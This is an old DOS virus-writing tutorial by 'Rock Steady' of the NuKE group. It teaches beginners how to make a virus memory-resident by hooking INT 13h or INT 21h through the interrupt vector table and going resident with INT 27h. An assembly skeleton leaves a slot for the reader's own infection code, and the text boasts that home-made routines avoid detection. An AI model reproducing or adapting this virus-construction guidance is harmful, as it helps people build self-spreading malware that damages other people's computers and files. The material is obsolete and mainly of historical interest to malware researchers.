TSR COM INFECTIONS
By: Rock Steady / NuKE
There are several ways to constructed your viruses. Mainly you have those which are RAM-Resident or better known as a TSR program. And with great thought we have those which are not RAM-Resident.
A TSR virus will load into memory and can infect all programs that are executed by the computer. Such like my AmiLiA virus which will infect all EXE and COM files that are ran. Anyhow a TSR virus can certainly spread a lot faster compared to a Non-Resident Virus. Because a NON-Resident Virus will only infect file each time it is ran. Though the NON-Resident will start off very slowly infecting the system files but after the virus is in the system after a number of weeks, it will certainly infect ALL files that are in the system. Where a TSR virus will USUALLY infect files that are executed. So that only files that are often executed will be infected. But The TSR virus can certainly infect A LOT more files than a Non-Resident JUST on the first Hour! It is out numbered 10 to 1. This is the advantage that all programmers enjoy and program TSR viruses. I will explain a SIMPLE method of making your program a TSR one. And it will be as flexible as you want so that NO ONE can stay you `Stole' this information off Rock Steady.
Anyhow I will explain the simple Process of Intercepting ROM-Bios Interrupts and hooking your virus/Program to any Interrupt of your choice. This method that is being explained is also used ALL the Jerusalem Strains. And several of the Vacsina Strains. They total up to close to 100+ Viruses that use this simple way with the TSR Interrupt 27h. Anyhow just because I'm explaining this method your virus CANNOT be detected because of this TSR routines because there are routines I DEVELOPED ALONE and will soon to be release in one of my future virii. Anyhow there are an UNLIMITED amount of ways to make TSRs so that along as you Develop YOUR OWN routine it will NEVER get detected as a virus for all you Beginners. And how this routine can be used in several OTHER utilities not just viruses.
Beginning...
First we must Intercept an Interrupt, Lets say we want our virus to activate Every TIME the disk I/O is being used we would use INT 13h or INT 21h. The INT 13h will activate everytime ANY file is opened or Closed And the INT 21h will activity anytime any file is executed or any INT 21h functions Like a "DIR" in DOS. If you want you can even hooked your virus to INT 10h and it may activate when Graphics are displayed, or you can hook it to the interrupt involved with Printer Functions. Whatever seems to `EnLighten' you, since we live in a Distressed world, I won't even bother why we shouldn't hooked them up to just ANY interrupt.
Anyhow, interrupts use a vector table at the bottom of memory (ROM) to find out what routine in the ROM Bios to call. So the address for Interrupt 21h would be located at 0000:0084 and for Interrupt 13h it would be found at 0000:004Ch. So we can change theses addresses in the vector table. What we do is we change the vector address to POINT to our virus. So everytime the Interrupt is called it goes to the vector table and the table tells it to call our Virus, rather than calling the ROM Bios. But what MUST do FIRST is save the ORIGINAL Interrupt routine and place that somewhere in memory. So that our virus will call the Original ROM Bios routine after executing itself.
Lets say we hooked our Virus to the INT 13h, which controls all Disk Activities. So if our Computer users tries to read something from the disk the Computer will call the INT 13h bios Routines on How To do it. But instead of finding the INT 13h routines it calls our virus, and the Virus gets ran, which then our virus does what it has to do, and then runs the Original INT 13h Routine where-ever it was stored. So it simulates an INT call to the ROM bios routines.
;----------------------------------------------------------------
; Sample Program on how to Hook your virus to an Interrupt call.
;----------------------------------------------------------------
Code Segment
Assume cs:code,ss:code,ds:code,es:code
Org 100h ; Guess this will be a COM file? Huh?
Begin: JMP Bios_Routine
NOP ; This is just a cheap .COM file that the
NOP ; virus is attached to. Remember you should
NOP ; have the first 3 bytes written in your
INT 20h ; virus.
OLD_ROM_INT DD ? ;Our Stack to save the OLD Int Address
;----------------------------------------------------------------
; This Calls the VIRUS and then the simulates the OLD Rom Routine
;----------------------------------------------------------------
Virus_Codes PROC FAR
Assume cs:code, ds:nothing
pushf ; Everytime the ROM-Routine is call this
push ax ; is what happens... Saves the Regesters
push di ; And runs Our Virus... Then it restores
push si ; the regesters and Runs the OLD_ROM Bios
push es ; Routine that was supposed to be ran in
push ds ; the first place...
call The_Virus
pop ds ;NoTe: It's better to SAVE all Regesters and
pop es ; Flags because our Virus WILL ALTER a few
pop si ; And when the Virus leaves control back to the
pop di ; Computer it is EXPECTED to continue where it
pop ax ; It left off...
popf
pushf ; This `pushf' is NEEDED to act like a simulated
call OLD_ROM_INT ; ROM Bios Interrupt call...
ret
Virus_Codes ENDP
;----------------------------------------------------------------
; Put the REAL Virus Codes here...
;----------------------------------------------------------------
The_Virus PROC NEAR
... ; Put your OWN Virus codes here...
... ; Just make it compatible with our
... ; Codes... Try to make it small and
... ; it will take up less space in the
... ; users' memory.
...
... ;NoTe: Try to infect files that are ONLY
... ; Executed! Rather than each time the INT
... ; is used... Get it?
RET
The_Virus ENDP
;---------------------------------------------------------------
; This is the Procedure that SAVE the OLD_ROM Bios in our Virus
; And places a Call to point to our Virus. Which then Calls the
; OLD_ROM Bios Routine. So Remember to SAVE it first.
;---------------------------------------------------------------
Bios_Routine PROC NEAR
Assume cs:code,ds:code
mov ah,35h ; This Asks for the interrupt vector!
mov al,13h ; whatever is in AL is what int vector
int 21h ; address you get and is stored in ES:BX
mov word ptr OLD_ROM_INT,bx ;Save the BX register in our Stack
mov word ptr OLD_ROM_INT[2],es ;And same to the ES Register
; Here you SHOULD put a small routine to check if the Interrupt vector has
; already been changed! For INT 13h this should contain 0000:004Ch the
; formula for this is (Interrupt # times 4) For INT 21h it is (21hx4)=84h
; and so on. So if its been changed it means the virus has already changed
; it! And it `Should' be resident. How ever this is a simple way of doing
; it. but not always the BEST way... Because any program the hooks to the
; virus interrupt will fool the virus to think it is already resident.
; Though this source is NOT for the Professional Virus Programmer like myself
; because WE KNOW! But for those that are half way there...
mov ah,25h ; This asks to set a Interrupt vector address!
mov al,13h ; Interrupt # to be set goes in AL
mov dx,offset Virus_Codes ; Sets INT 13h to point to `Virus Code'
int 21h
mov dx,offset Bios_Routine
int 27h
Bios_Routine ENDP
; Anything after this point will not be memory resident. because the end
; of the resident portion ends at `Bios_Routine' procedure.
Code ENDS
END Begin
;----------------------------- EnD ----------------------------------
Simple isn't it? Anyhow I tried to make this as simple as possible. I hope I didn't lose you. Anyhow this is a simple routine that several TSR virii use. Anyhow, see what that gives you....
Rock Steady
NuKE / Viral Development Researche
r -PeAcE-